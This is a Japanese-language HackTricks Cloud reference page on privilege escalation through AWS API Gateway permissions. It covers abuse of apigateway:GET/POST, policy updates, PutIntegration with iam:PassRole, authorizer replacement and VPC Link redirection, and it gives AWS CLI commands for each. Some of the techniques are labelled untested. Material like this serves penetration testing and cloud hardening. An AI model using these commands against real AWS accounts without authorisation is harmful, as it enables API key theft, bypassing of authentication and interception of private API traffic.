AWS - Apigateway Privesc

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック！

HackTricksをサポートする他の方法:

• HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください！

• 公式PEASS & HackTricksグッズを入手する

• The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする

• 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。

• HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。

Apigateway

詳細については、以下をチェックしてください:

pageAWS - API Gateway Enum

apigateway:POST

この権限を持っていると、設定されているAPIのAPIキーを生成することができます（リージョンごとに）。

aws --region <region> apigateway create-api-key

潜在的影響： この技術では権限昇格はできませんが、機密情報にアクセスする可能性があります。

apigateway:GET

この権限を持っていると、設定されているAPIの生成されたAPIキーを取得できます（リージョンごとに）。

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

潜在的影響： この技術では権限昇格はできませんが、機密情報にアクセスする可能性があります。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

これらの権限を持っていると、APIのリソースポリシーを変更して自分自身がそれを呼び出すアクセス権を与え、APIゲートウェイが持っている可能性のあるアクセス（例えば脆弱なlambdaを呼び出すこと）を悪用することができます。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在的な影響： 通常、この技術を使って直接権限昇格することはできませんが、機密情報にアクセスする可能性があります。

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

テストが必要です

apigateway:PutIntegration、apigateway:CreateDeployment、iam:PassRoleの権限を持つ攻撃者は、既存のAPI Gateway REST APIに新しい統合を追加し、IAMロールが付与されたLambda関数を使用することができます。その後、攻撃者はLambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースへのアクセスを潜在的に得ることができます。

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: Lambda関数のIAMロールに関連するリソースへのアクセス。

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

テストが必要です

apigateway:UpdateAuthorizer と apigateway:CreateDeployment の権限を持つ攻撃者は、既存のAPI Gatewayオーソライザーを変更して セキュリティチェックをバイパスしたり、APIリクエストが行われたときに任意のコードを実行することができます。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的影響: セキュリティチェックのバイパス、APIリソースへの不正アクセス。

apigateway:UpdateVpcLink

テストが必要です

apigateway:UpdateVpcLink の権限を持つ攻撃者は、既存のVPC Linkを異なるネットワークロードバランサーに指すように変更し、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります。

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

潜在的な影響: 私的なAPIリソースへの不正アクセス、APIトラフィックの傍受または妨害。

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

• HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください！

• 公式PEASS & HackTricksグッズを入手する

• The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする

• 💬 Discordグループに参加するか、テレグラムグループに参加する、またはTwitter 🐦 @carlospolopmをフォローする。

• HackTricksのGitHubリポジトリとHackTricks CloudにPRを提出して、あなたのハッキングのコツを共有する。